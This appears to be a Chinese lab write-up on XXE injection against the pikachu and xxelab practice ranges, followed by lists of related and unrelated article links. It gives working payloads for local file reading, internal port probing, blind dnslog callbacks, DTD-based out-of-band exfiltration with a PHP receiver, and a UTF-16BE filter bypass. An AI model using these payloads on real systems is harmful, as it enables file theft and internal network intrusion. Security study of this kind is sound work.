pikaqu靶场xml数据传输测试-有回显,玩法,协议,引入

1、构造payload

写文件

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note[
<!ENTITY write "good boy,this is a test"> ]>
<note>
&write;
</note>



读文件

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt"> ]>
<x>
&xxe;
</x>

2、玩法-内网探针-内网应用攻击

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://10.133.6.123:81/test.txt">]>
<x>
&rabbit;
</x>

无回显

成功探测到80端口开放和81端口文件读取;

3、无回显,构造payload

<?xml version="1.0" ?>

<!DOCTYPE test [

    <!ENTITY % file SYSTEM "http://bsken8.dnslog.cn">

    %file;

]>

<user><username>&send;</username><password>Mikasa</password></user>

引入外部实体dtd(类似远程文件包含)

1、构造payload,读取test.txt内容,发送给http://127.0.0.1:81/test.dtd

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt">

<!ENTITY % remote SYSTEM "http://127.0.0.1:81/xxe.dtd">

%remote;

%all;

]>

<root>&send;</root>

xxe.dtd ,接收数据到get.php文件

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:81/get.php?file=%25file;'>">

get.php内容:将接收到的数据写入到file.txt文件中。

<?php
$data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>

关键词ENTITY、SYSTEM、file过滤

使用编码绕过:UTF-16BE

xxelab靶场测试



抓包判断是否存在xml;

存在<user><username>1</username><password>1</password></user>



构造payload验证;

<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt"> ]>
<user><username>&test;</username><password>Mikasa</password></user>

6.2 XXE和XML利用的更多相关文章

  1. 实战讲解XXE漏洞的利用与防御策略

    现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会 ...

  2. XXE攻防——XML外部实体注入

    XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的 ...

  3. XXE验证与利用流程

    特征 特征1 --- .ashx 看到url是 .ashx后缀的 特征2 --- 响应体是xml 发现有这些特征都可以用下面的流程测试 测试 在线工具: http://ceye.io/ http:// ...

  4. XXE(xml外部实体注入漏洞)

    实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...

  5. XML利用接口显示并导入到数据库

    //控制器代码 /// <summary> /// 页面 /// </summary> /// <returns></returns> public A ...

  6. XML注入介绍--XXE,XEE,xpath等

    XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...

  7. XML相关的安全漏洞-XXE,XPATH小结

    0x00前言: 本文主要小结以下php下的xpath查询xml结构的漏洞利用和XXE漏洞利用 xml是可扩展标记语言,它被设计出来是为了存储传输数据的. 它的结构是树形结构,并且标签要成对出现比如下面 ...

  8. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  9. XML External Entity attack/XXE攻击

    XML External Entity attack/XXE攻击   1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存 ...

  10. XML外部实体(XXE)注入详解

    ###XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Ex ...

随机推荐

  1. yb课堂之自定义异常和配置 《五》

    开发自定义异常和配置 自定义异常 继承RuntimeException 开发异常处理器ExceptionHandle YBException.java package net.ybclass.onli ...

  2. @Autowired和@Resource有哪些区别

    一.注解的作用 @Autowired和@Resource都是用来实现Bean的自动注入功能. 二.@Autowired和@Resource的区别 1.所属的包不同 @Autowired是Spring的 ...

  3. LabVIEW之项目文件结构透析

    代码的管理非常重要,LabVIEW本身自带很多代码管理工具.下面来剖析一个相对标准的小项目:

  4. 基于微信小程序的校园维修管理系统-开题报告参考

    \n文末获取源码联系 感兴趣的可以先收藏起来,大家在毕设选题,项目以及论文编写等相关问题都可以给我加好友咨询 一.课题研究的目的和意义** 本研究开发基于微信小程序的物品维修系统,它不仅能实现专业的维 ...

  5. [oeasy]python0070_ 字体样式_下划线_中划线_闪动效果_反相_取消效果

    字体样式 回忆上次内容 m 可以改变字体样式 0-10 之间设置的都是字体效果 0 复原 1 变亮 2 变暗 从3到10 又是什么效果 呢?? 真的可以blink闪烁吗? 3m 3m 实现斜体字的效果 ...

  6. AT_abc178_d 题解

    洛谷链接&Atcoder 链接 本篇题解为此题较简单做法及较少码量,并且码风优良,请放心阅读. 题目简述 给定一个正整数 \(S\),问有多少个数满足以下条件: 序列中必须为 \(\ge 3\ ...

  7. Python 插件式程序设计与开发实践总结

    插件式程序设计与开发实践总结 By:授客 QQ:1033553122 开发环境 win 10 python 3.6.5 代码结构

  8. MFC的消息反射

    这边我用对话框来测试mfc的消息反射 当对话框初始化完成之后,点击按钮,首先相应CDialog::OnCommand其中wpARAM(低八位nId,高八位子控件句柄) 和LPARAM(句柄) OnCo ...

  9. Nacos 高级详解:提升你的开发和部署效率

    Nacos 高级 一 .服务集群 需求 服务提供者搭建集群 服务调用者,依次显示集群中各服务的信息 搭建 修改服务提供方的controller,打印服务端端口号 package com.czxy.co ...

  10. win10远程桌面连接报错:出现身份验证错误,要求的函数不受支持(CredSSP)

    问题 解决办法 找到路径:计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 在Syste ...